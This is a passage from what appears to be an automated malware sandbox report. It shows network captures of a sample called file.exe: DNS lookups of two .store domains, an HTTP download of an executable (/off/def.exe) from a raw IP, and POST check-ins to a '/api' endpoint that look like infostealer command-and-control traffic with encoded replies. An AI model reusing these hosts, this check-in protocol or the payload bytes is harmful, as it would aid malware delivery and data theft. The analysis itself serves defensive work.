Oct 27, 2024 17:17:27.981374979 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.981400013 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:27.981409073 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.981443882 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.981456041 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:27.981478930 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.981508970 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.981542110 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.981570959 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:27.981581926 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.981592894 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:27.982033014 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.982065916 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.982090950 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:27.982100010 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.982166052 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.982213020 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:27.982218027 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.982249975 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.982296944 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:27.982949018 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.982976913 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.983010054 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.983011007 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:27.983045101 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.983068943 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:27.983073950 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.983217001 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:27.983227015 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.985982895 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:29.288352013 CET	49714	80	192.168.2.5	185.215.113.16

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 27, 2024 17:17:07.029207945 CET	52648	53	192.168.2.5	1.1.1.1
Oct 27, 2024 17:17:07.039069891 CET	53	52648	1.1.1.1	192.168.2.5
Oct 27, 2024 17:17:07.045078993 CET	60832	53	192.168.2.5	1.1.1.1
Oct 27, 2024 17:17:07.068263054 CET	53	60832	1.1.1.1	192.168.2.5

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Oct 27, 2024 17:17:07.029207945 CET	192.168.2.5	1.1.1.1	0x3f79	Standard query (0)	presticitpo.store	A (IP address)	IN (0x0001)	false
Oct 27, 2024 17:17:07.045078993 CET	192.168.2.5	1.1.1.1	0x6d96	Standard query (0)	crisiwarny.store	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Oct 27, 2024 17:17:07.039069891 CET	1.1.1.1	192.168.2.5	0x3f79	Name error (3)	presticitpo.store	none	none	A (IP address)	IN (0x0001)	false
Oct 27, 2024 17:17:07.068263054 CET	1.1.1.1	192.168.2.5	0x6d96	No error (0)	crisiwarny.store		104.21.95.91	A (IP address)	IN (0x0001)	false
Oct 27, 2024 17:17:07.068263054 CET	1.1.1.1	192.168.2.5	0x6d96	No error (0)	crisiwarny.store		172.67.170.64	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

crisiwarny.store

185.215.113.16

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49714	185.215.113.16	80	3840	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Oct 27, 2024 17:17:21.237942934 CET	200	OUT	GET /off/def.exe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: 185.215.113.16
Oct 27, 2024 17:17:22.141791105 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 27 Oct 2024 16:17:21 GMT Content-Type: application/octet-stream Content-Length: 2771456 Last-Modified: Sun, 27 Oct 2024 15:08:17 GMT Connection: keep-alive ETag: "671e5761-2a4a00" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 c0 2a 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 00 2b 00 00 04 00 00 79 d4 2a 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 9c 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@z!L!This program cannot be run in DOS mode.$PELP(,e"0$* `@ +y`Ui` @ @.rsrc`2@.idata 8@keswcxpm):@vytofjkn $@.taggant@"(@
Oct 27, 2024 17:17:22.141930103 CET	212	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 27, 2024 17:17:22.141963005 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 27, 2024 17:17:22.142014027 CET	212	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 27, 2024 17:17:22.142047882 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 27, 2024 17:17:22.142082930 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 27, 2024 17:17:22.142117977 CET	24	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 27, 2024 17:17:22.142149925 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 27, 2024 17:17:22.142199993 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 27, 2024 17:17:22.142236948 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 27, 2024 17:17:22.147891998 CET	1236	IN	Data Raw: e0 e3 1c 90 a7 fd ac f1 23 84 cc 86 bb 8d a5 79 d8 8a 40 59 3a 48 32 ec e1 17 67 88 60 a8 32 b4 98 1b 75 66 03 7c b0 cc 88 ac 7b 54 70 a0 2d 30 ea f5 63 be d2 72 b8 e4 df eb 15 21 e3 c9 b9 1e 22 7e c4 b2 75 0a 61 90 62 9a b8 af fe 94 16 54 d1 d8 Data Ascii: #y@Y:H2g`2uf\|{Tp-0cr!"~uabTbmc{Pg:A!S1CZB_02\b{WPk^;hzBcBnZ&rYYs1#@a=ep&ULHa

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49706	104.21.95.91	443	3840	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-27 16:17:07 UTC	263	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: crisiwarny.store
2024-10-27 16:17:07 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-10-27 16:17:08 UTC	1005	IN	HTTP/1.1 200 OK Date: Sun, 27 Oct 2024 16:17:08 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=9ig86ondmp11b17jecdudrjigm; expires=Thu, 20 Feb 2025 10:03:47 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=qEt%2BYdUNBIhs74lMeAkakNb357Ivuq7kq5OfDKWAsPzQG%2FZenC0rxmXoa5h2EoCzZdUtyr3anOXc1UU3wLI9sesd87BLDB3wRxuJ8pBTJgOZQ2TK5qndx9yF0LojleTOX1XQ"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d93fe983f2f4757-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1245&sent=6&recv=7&lost=0&retrans=0&sent_bytes=2837&recv_bytes=907&delivery_rate=2341147&cwnd=251&unsent_bytes=0&cid=164d1ff5ae996a2e&ts=613&x=0"
2024-10-27 16:17:08 UTC	7	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a Data Ascii: 2ok
2024-10-27 16:17:08 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.5	49707	104.21.95.91	443	3840	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-27 16:17:09 UTC	264	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 52 Host: crisiwarny.store
2024-10-27 16:17:09 UTC	52	OUT	Data Raw: 61 63 74 3d 72 65 63 69 76 65 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e 64 61 72 79 79 26 6a 3d Data Ascii: act=recive_message&ver=4.0&lid=4SD0y4--legendaryy&j=
2024-10-27 16:17:09 UTC	1009	IN	HTTP/1.1 200 OK Date: Sun, 27 Oct 2024 16:17:09 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=rofa8tk1qvr62ht0bnj6oaqjc3; expires=Thu, 20 Feb 2025 10:03:48 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=ggZt9vGFrwQpfX%2B1oWBnL4EBC23NGMDIKMIL1C1ZnZum2u0LQlHvOozI9CiEV8u%2FzG%2BZdVLPyO75C7PUfutVU38Td3LwodkDpRnCCF03DEhbS92Wh1ZmwR3K%2BtTwHahAUfTb"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d93fe9ffa9e6bc8-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1139&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2838&recv_bytes=952&delivery_rate=2439764&cwnd=233&unsent_bytes=0&cid=ef79c015a321fe6d&ts=512&x=0"
2024-10-27 16:17:09 UTC	360	IN	Data Raw: 63 63 62 0d 0a 50 73 79 6e 63 43 76 68 65 2f 73 6d 58 7a 2b 65 30 67 55 63 31 79 74 79 72 53 77 6e 31 43 50 45 7a 66 75 5a 30 46 66 47 46 54 4e 46 37 74 46 53 45 64 56 58 32 56 55 36 48 61 53 6d 64 32 6d 79 42 31 44 4d 53 41 58 75 52 61 57 68 69 50 7a 38 64 62 42 34 45 51 53 71 78 68 78 59 68 46 66 5a 51 79 63 64 70 49 6c 2b 50 72 4a 46 55 4a 63 4f 51 72 35 42 70 61 47 5a 2b 4c 73 34 74 6e 6c 51 56 71 44 41 47 45 36 43 48 35 70 4b 4d 6c 72 37 74 32 52 32 75 55 49 66 78 55 45 46 2b 41 47 68 74 39 6d 6a 38 68 71 6a 59 56 4a 7a 72 64 51 62 43 5a 78 58 67 41 51 36 55 62 7a 6f 4a 33 32 79 53 52 37 4c 53 45 79 38 53 36 79 70 6d 50 32 36 4a 36 39 7a 57 31 61 75 77 78 6c 45 69 77 75 58 51 44 56 52 2f 62 31 6b 50 76 73 4a 46 39 63 4f 48 66 59 53 6c 4b 79 49 36 71 Data Ascii: ccbPsyncCvhe/smXz+e0gUc1ytyrSwn1CPEzfuZ0FfGFTNF7tFSEdVX2VU6HaSmd2myB1DMSAXuRaWhiPz8dbB4EQSqxhxYhFfZQycdpIl+PrJFUJcOQr5BpaGZ+Ls4tnlQVqDAGE6CH5pKMlr7t2R2uUIfxUEF+AGht9mj8hqjYVJzrdQbCZxXgAQ6UbzoJ32ySR7LSEy8S6ypmP26J69zW1auwxlEiwuXQDVR/b1kPvsJF9cOHfYSlKyI6q
2024-10-27 16:17:09 UTC	1369	IN	Data Raw: 57 2b 61 4a 73 64 37 68 45 45 4d 4a 45 53 72 56 42 6f 61 57 54 39 4c 67 78 71 58 70 58 58 4b 36 46 58 41 6d 45 41 64 6b 63 66 58 37 35 6f 47 42 79 6f 77 73 71 6a 31 45 4c 72 77 47 68 6f 39 6d 6a 38 6a 32 68 64 46 4a 58 6f 63 59 61 51 70 45 5a 69 30 49 77 57 4f 36 32 59 6e 43 2f 53 67 4c 46 51 45 4f 31 53 4b 32 6d 6e 50 79 32 64 65 6f 33 56 6b 54 75 6e 56 4a 6f 6a 68 4b 56 54 69 70 64 76 4b 38 70 5a 2f 56 4f 48 49 38 57 42 62 4a 41 6f 71 36 64 39 62 77 78 71 48 46 66 55 61 48 44 47 45 6d 45 45 35 46 4d 50 46 44 33 76 32 64 37 75 45 30 57 77 30 39 41 39 67 2f 6d 71 49 47 37 36 6e 57 4b 63 46 4a 4f 37 50 41 52 52 34 30 65 6a 77 51 69 45 2b 58 77 59 48 4c 31 45 56 44 42 53 30 71 6b 51 4c 53 71 6c 2b 6d 2b 4d 4b 4a 36 55 6c 4b 75 77 42 56 45 6a 52 2b 65 52 7a Data Ascii: W+aJsd7hEEMJESrVBoaWT9LgxqXpXXK6FXAmEAdkcfX75oGByowsqj1ELrwGho9mj8j2hdFJXocYaQpEZi0IwWO62YnC/SgLFQEO1SK2mnPy2deo3VkTunVJojhKVTipdvK8pZ/VOHI8WBbJAoq6d9bwxqHFfUaHDGEmEE5FMPFD3v2d7uE0Ww09A9g/mqIG76nWKcFJO7PARR40ejwQiE+XwYHL1EVDBS0qkQLSql+m+MKJ6UlKuwBVEjR+eRz
2024-10-27 16:17:09 UTC	1369	IN	Data Raw: 59 48 4c 31 45 56 44 44 52 30 57 39 53 36 4b 76 6e 76 61 33 4e 71 4e 30 58 46 75 6b 79 78 56 4e 6a 78 43 55 51 6a 31 61 2b 4c 56 31 65 37 78 46 48 49 38 41 42 62 46 5a 35 76 66 5a 31 4c 55 6a 70 31 68 53 54 61 65 46 44 51 65 61 57 5a 35 49 66 51 57 38 74 32 4a 32 76 6b 38 59 7a 31 78 41 75 45 71 6e 70 5a 2f 36 76 7a 6d 69 64 31 42 63 71 4d 6b 53 54 6f 51 4c 69 30 45 37 54 2f 62 77 4b 54 36 79 55 56 43 58 44 6e 4f 6d 56 72 65 35 32 38 36 78 4f 36 70 77 52 78 79 78 69 77 73 4a 68 42 58 5a 48 48 31 57 2f 4c 78 67 64 72 4e 4e 47 4d 42 42 54 4b 52 41 71 71 47 4c 2f 4c 49 38 71 6e 68 64 56 61 50 43 48 30 4b 4a 46 4a 31 44 50 42 32 79 38 47 42 6d 39 52 46 51 2b 56 35 49 75 6d 2b 74 6f 35 43 37 72 58 75 39 4e 31 5a 51 37 70 31 53 54 59 38 52 6b 30 73 30 56 2f 61 Data Ascii: YHL1EVDDR0W9S6Kvnva3NqN0XFukyxVNjxCUQj1a+LV1e7xFHI8ABbFZ5vfZ1LUjp1hSTaeFDQeaWZ5IfQW8t2J2vk8Yz1xAuEqnpZ/6vzmid1BcqMkSToQLi0E7T/bwKT6yUVCXDnOmVre5286xO6pwRxyxiwsJhBXZHH1W/LxgdrNNGMBBTKRAqqGL/LI8qnhdVaPCH0KJFJ1DPB2y8GBm9RFQ+V5Ium+to5C7rXu9N1ZQ7p1STY8Rk0s0V/a
2024-10-27 16:17:09 UTC	184	IN	Data Raw: 30 5a 51 67 51 35 43 72 67 48 2b 37 37 62 63 68 33 65 46 54 52 46 44 34 4e 78 53 54 6f 39 5a 77 51 51 78 58 76 43 34 61 48 69 38 52 52 72 47 52 55 6d 39 52 61 71 6d 6e 50 32 7a 4d 4b 46 32 56 56 43 6b 77 78 46 4b 6a 42 61 57 54 48 30 54 76 4c 64 2f 50 75 30 4a 4e 64 68 46 53 37 41 42 75 65 47 41 75 37 55 35 35 43 38 52 55 4b 66 44 46 45 79 50 47 4a 39 4d 4f 46 58 34 73 57 46 34 74 6b 59 55 79 6b 39 4b 73 6b 32 6f 70 5a 6a 36 76 6a 36 72 66 46 51 63 34 49 55 56 55 63 4e 42 32 58 55 2b 53 2b 75 67 61 7a 36 71 42 77 6d 50 53 55 6e 32 47 65 61 0d 0a Data Ascii: 0ZQgQ5CrgH+77bch3eFTRFD4NxSTo9ZwQQxXvC4aHi8RRrGRUm9RaqmnP2zMKF2VVCkwxFKjBaWTH0TvLd/Pu0JNdhFS7ABueGAu7U55C8RUKfDFEyPGJ9MOFX4sWF4tkYUyk9Ksk2opZj6vj6rfFQc4IUVUcNB2XU+S+ugaz6qBwmPSUn2Gea
2024-10-27 16:17:09 UTC	1369	IN	Data Raw: 33 37 61 31 0d 0a 75 69 2f 47 34 4f 36 46 34 56 46 2b 68 77 68 39 50 6a 78 4f 51 54 44 74 53 39 61 4a 6b 63 72 74 4f 48 73 4e 41 53 4c 78 43 71 2b 2f 58 75 37 55 74 35 43 38 52 63 4b 6e 49 50 45 4b 50 48 74 6c 62 63 30 53 38 74 32 73 2b 37 51 6b 63 78 55 4a 4d 74 6b 69 6a 70 35 4c 79 74 7a 53 76 63 6c 4a 61 6f 38 6f 62 57 34 6b 61 6c 30 63 78 55 66 71 78 5a 47 79 39 51 46 43 42 44 6b 4b 75 41 66 37 76 75 50 57 2f 49 61 4e 6e 45 55 50 67 33 46 4a 4f 6a 31 6e 42 42 44 35 63 38 37 4e 6d 63 37 4e 41 47 4d 39 49 51 4c 6c 4d 71 4b 69 65 2b 37 38 37 71 33 46 5a 55 61 4c 4f 48 45 43 46 47 5a 68 4f 66 52 4f 38 74 33 38 2b 37 51 6b 67 7a 45 35 46 72 51 47 35 34 59 43 37 74 54 6e 6b 4c 78 46 4f 70 4d 77 53 53 6f 77 65 6e 55 38 78 57 50 6d 2f 5a 48 65 77 51 42 37 64 Data Ascii: 37a1ui/G4O6F4VF+hwh9PjxOQTDtS9aJkcrtOHsNASLxCq+/Xu7Ut5C8RcKnIPEKPHtlbc0S8t2s+7QkcxUJMtkijp5LytzSvclJao8obW4kal0cxUfqxZGy9QFCBDkKuAf7vuPW/IaNnEUPg3FJOj1nBBD5c87Nmc7NAGM9IQLlMqKie+787q3FZUaLOHECFGZhOfRO8t38+7QkgzE5FrQG54YC7tTnkLxFOpMwSSowenU8xWPm/ZHewQB7d
2024-10-27 16:17:09 UTC	1369	IN	Data Raw: 48 2b 37 35 6a 33 76 54 61 72 64 46 4a 64 70 4e 63 41 52 59 6f 52 6e 45 67 32 55 2f 71 69 59 58 47 38 53 68 50 47 53 55 32 36 53 36 57 6f 32 62 58 79 4d 72 77 33 43 52 79 4e 30 67 4a 45 77 77 62 58 58 58 31 61 38 50 41 2f 50 72 31 45 47 4d 56 4b 51 72 74 47 6f 4b 61 4c 38 72 63 37 70 48 4e 61 55 36 6a 42 45 55 6d 52 48 35 31 4d 50 6c 44 78 76 6d 52 36 39 51 64 51 79 46 59 46 37 67 47 55 6f 70 66 67 76 54 4b 31 66 52 46 44 34 4e 78 53 54 6f 39 5a 77 51 51 35 55 2b 36 37 5a 6e 57 2b 52 78 66 41 53 30 2b 32 54 71 4b 73 6c 2f 43 7a 4e 71 78 36 58 46 4b 6b 7a 42 74 4f 6a 78 32 65 42 48 4d 64 2b 36 67 6e 4a 76 56 69 4d 65 4a 69 51 71 77 42 75 65 47 41 75 37 55 35 35 43 38 52 55 4b 66 4a 47 45 4b 45 45 35 64 4e 4d 31 62 75 6f 6d 52 36 74 6b 41 54 79 45 64 4c 74 Data Ascii: H+75j3vTardFJdpNcARYoRnEg2U/qiYXG8ShPGSU26S6Wo2bXyMrw3CRyN0gJEwwbXXX1a8PA/Pr1EGMVKQrtGoKaL8rc7pHNaU6jBEUmRH51MPlDxvmR69QdQyFYF7gGUopfgvTK1fRFD4NxSTo9ZwQQ5U+67ZnW+RxfAS0+2TqKsl/CzNqx6XFKkzBtOjx2eBHMd+6gnJvViMeJiQqwBueGAu7U55C8RUKfJGEKEE5dNM1buomR6tkATyEdLt
2024-10-27 16:17:09 UTC	1369	IN	Data Raw: 58 75 37 55 74 35 43 38 52 63 61 4c 43 4f 30 36 59 57 59 59 4b 4a 42 33 37 76 43 63 6d 39 55 67 62 78 55 46 49 74 55 65 6c 70 4a 7a 78 73 7a 4b 73 65 6b 4e 66 6f 63 6f 57 53 59 77 66 6e 30 55 79 57 2f 75 35 5a 6e 61 79 43 56 36 50 53 56 33 32 47 65 61 42 6e 76 69 32 64 62 73 35 53 42 79 70 79 56 49 52 77 78 6d 54 54 6a 64 54 2f 4c 64 31 65 4c 78 4a 45 39 31 4e 51 37 35 48 71 71 4f 55 38 37 73 31 6f 58 78 63 56 36 50 44 45 6b 4b 43 57 64 63 45 4f 6b 57 38 36 43 64 50 75 45 63 55 77 55 31 56 73 51 47 35 34 59 43 37 74 54 6e 6b 4c 78 46 54 70 39 63 56 54 49 73 51 6d 55 6f 30 56 50 75 30 5a 48 2b 78 52 52 2f 47 54 55 32 33 53 61 6d 73 6d 66 43 36 50 36 56 35 56 42 7a 67 68 52 56 52 77 30 48 5a 61 7a 35 59 39 37 45 6c 57 62 4e 4f 48 49 39 52 43 36 38 42 6f 61 Data Ascii: Xu7Ut5C8RcaLCO06YWYYKJB37vCcm9UgbxUFItUelpJzxszKsekNfocoWSYwfn0UyW/u5ZnayCV6PSV32GeaBnvi2dbs5SBypyVIRwxmTTjdT/Ld1eLxJE91NQ75HqqOU87s1oXxcV6PDEkKCWdcEOkW86CdPuEcUwU1VsQG54YC7tTnkLxFTp9cVTIsQmUo0VPu0ZH+xRR/GTU23SamsmfC6P6V5VBzghRVRw0HZaz5Y97ElWbNOHI9RC68Boa
2024-10-27 16:17:09 UTC	1369	IN	Data Raw: 4d 72 4a 6d 48 48 75 30 79 42 52 65 6b 6c 6e 58 42 44 73 64 70 4f 41 70 50 72 46 59 55 4a 63 65 46 2b 30 55 39 66 6a 4a 71 61 31 37 76 54 64 48 48 50 61 58 58 41 6d 52 57 63 45 45 65 6c 37 75 6f 6d 46 39 6f 30 70 58 38 58 42 72 73 55 65 6a 71 49 6d 35 6e 44 36 77 63 42 45 53 37 73 70 53 45 62 70 5a 30 51 51 43 45 37 79 6f 4a 79 62 31 66 42 50 42 51 45 4b 67 55 4f 75 42 6e 76 32 33 4d 72 51 31 66 31 65 36 77 6c 49 48 77 78 2f 5a 48 47 30 54 76 4c 52 32 50 75 30 5a 51 70 51 62 46 75 45 52 39 4c 44 58 34 76 49 6a 35 43 38 44 45 75 37 58 55 68 48 44 58 70 70 57 4c 31 76 2f 70 6d 51 35 69 33 63 54 32 55 4e 4b 76 55 43 59 6b 62 66 32 73 7a 61 71 4e 57 42 4b 6f 39 55 52 54 49 51 6e 70 30 6f 36 53 66 75 2b 59 58 37 31 42 31 44 41 44 68 32 50 41 65 37 76 70 72 58 Data Ascii: MrJmHHu0yBReklnXBDsdpOApPrFYUJceF+0U9fjJqa17vTdHHPaXXAmRWcEEel7uomF9o0pX8XBrsUejqIm5nD6wcBES7spSEbpZ0QQCE7yoJyb1fBPBQEKgUOuBnv23MrQ1f1e6wlIHwx/ZHG0TvLR2Pu0ZQpQbFuER9LDX4vIj5C8DEu7XUhHDXppWL1v/pmQ5i3cT2UNKvUCYkbf2szaqNWBKo9URTIQnp0o6Sfu+YX71B1DADh2PAe7vprX
2024-10-27 16:17:09 UTC	1369	IN	Data Raw: 41 51 50 2b 5a 56 41 56 73 30 41 32 56 4a 39 42 61 37 2b 4a 32 7a 31 45 56 43 49 54 56 65 6b 52 36 57 35 6d 72 79 4d 43 34 4e 35 56 6c 32 34 31 52 39 46 6f 68 71 49 54 67 4e 6a 36 62 4e 70 63 4c 4a 66 41 59 38 41 42 62 6b 42 2f 70 62 5a 73 2f 49 4b 36 6a 64 4a 48 50 61 46 4a 30 71 4e 46 35 35 53 4c 42 44 62 76 6d 42 2f 6f 31 6b 64 77 32 39 47 70 30 76 6d 34 64 6e 39 38 6d 33 32 4f 52 46 59 76 34 56 4b 47 64 46 43 7a 42 64 71 44 61 36 76 4b 57 66 31 58 31 43 58 48 41 76 32 55 2b 62 33 32 62 79 78 4a 37 5a 78 55 6b 71 74 67 69 78 33 70 67 36 61 56 44 74 65 77 6f 35 4d 63 72 4e 4f 43 73 68 49 59 35 59 42 36 4f 2b 57 75 2b 6f 4d 35 44 38 52 59 2b 43 46 43 67 6e 62 57 61 78 48 4d 31 50 37 70 6e 59 7a 6b 46 34 54 33 30 68 47 39 67 2f 6d 71 64 6d 6a 34 6e 76 6b Data Ascii: 